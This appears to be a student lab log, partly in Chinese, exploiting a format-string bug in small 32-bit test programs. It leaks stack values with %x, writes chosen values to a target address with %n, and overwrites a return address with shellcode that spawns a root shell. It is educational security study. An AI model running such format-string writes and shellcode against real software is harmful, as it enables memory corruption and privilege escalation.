pwndbg> r Starting program: /home/ubuntu/cssec/strings/vul target address ffffd524 data at target address:0x11223344 please enter a string:%x.%x.%x.%x.%x.%x.%x.%x.%x. 63.f7fbd5c0.565555d9.ffffd55a.11223344.252e7825.78252e78.2e78252e.252e7825. data at target address: 0x11223344 [Inferior 1 (process 28953) exited normally
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# echo $(printf "\x64\xd4\xff\xff").%x.%x.%x.%x.%x.%x > input root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# ./vul32 < input target address ffffd464 data at target address:0x11223344 please enter a string:d.63.f7fbd5c0.565555d9.ffffd49a.11223344.ffffd464 data at target address: 0x11223344
需要移动五个位置才能到ffffd464,5个%x,然后%n把前面的数据写入到这个地址
1 2 3 4 5 6
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# echo $(printf "\x74\xd5\xff\xff").%x.%x.%x.%x.%x.%n > input root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# ./vul32 < input target address ffffd574 data at target address:0x11223344 please enter a string:t���.63.f7fbd5c0.565555d9.ffffd5aa.11223344. data at target address: 0x2c
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# echo $(printf "\x64\xd4\xff\xff").%.8x.%x.%x.%x.%x.%n > input root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings# ./vul32 < input target address ffffd464 data at target address:0x11223344 please enter a string:d.00000063.f7fbd5c0.565555d9.ffffd49a.11223344. data at target address: 0x32
printf("the address of the input array: 0x%.8x\n",(unsigned)str); printf("the value of the frame pointer: 0x%.8x\n",(unsigned)framep); printf("the value of the return address: 0x%.8x\n",*ret);
printf(str);
printf("the value of the return address: 0x%.8x\n",*ret); }
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings/shell# ./fmtvul the address of the input array: 0xffffd514 the value of the frame pointer: 0xffffd4e8 the value of the return address: 0x565556fd ����.565556fd.00000000.565555f9.5655583c.56555839.ffffd4e8.ffffd4ec.f7fbd000.56556fcc.ffffd5e8.565556fd.ffffd514.00000001.000000c8.56558160.f7ffdc30.00000200.00000400.ffffd694.56558160.aaaaaaaa.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838.2e78382e �the value of the return address: 0x565556fd
the address of the input array: 0xffffd514 the value of the frame pointer: 0xffffd4f8
1 2 3 4 5 6
root@VM-24-10-ubuntu:/home/ubuntu/cssec/strings/shell# ./fmtvul the address of the input array: 0xffffd544 the value of the frame pointer: 0xffffd528 the value of the return address: 0x56555691 ����.56555691.00000000.565555a9.565557ac.565557a9.ffffd52c.ffffd528.f7fbd000.56556fd0.ffffd618.56555691.ffffd544.00000001.000000c8.56558160.00000000.aaaaaaaa.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838.2e78382e.78382e25.382e252e.2e252e78.252e7838 �the value of the return address: 0x56555691
the address of the input array: 0xffffd3f4 0xffffd3f4 + 0x90 = 0xffffd484 the value of the frame pointer: 0xffffd3d8 the value of the return address: 0x5655569
修改exp里面对应的地址和%x的个数,然后就可以了
1 2 3 4
00000000000000000000000000000000000040404040�������������������������������������������������������������������������1�1۰�̀1�Ph//shh/bin��PS�ᙰ ̀the value of the return address: 0xffffd484 # id uid=0(root) gid=500(ubuntu) groups=500(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),114(sambashare)